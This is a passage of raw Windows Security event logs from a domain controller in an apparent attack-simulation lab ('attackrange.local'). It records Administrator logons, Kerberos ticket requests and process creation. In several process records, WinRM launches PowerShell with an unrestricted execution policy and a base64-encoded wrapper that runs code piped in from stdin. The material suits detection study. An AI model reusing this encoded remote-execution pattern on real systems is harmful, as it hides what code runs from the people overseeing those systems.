Account Domain: - - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253188 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253187 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253186 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1138 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x114c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253183 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1971F3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253182 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1971F3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253181 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253180 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253179 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253178 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x114c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x374 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253177 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253176 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FFD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253175 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FFD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated 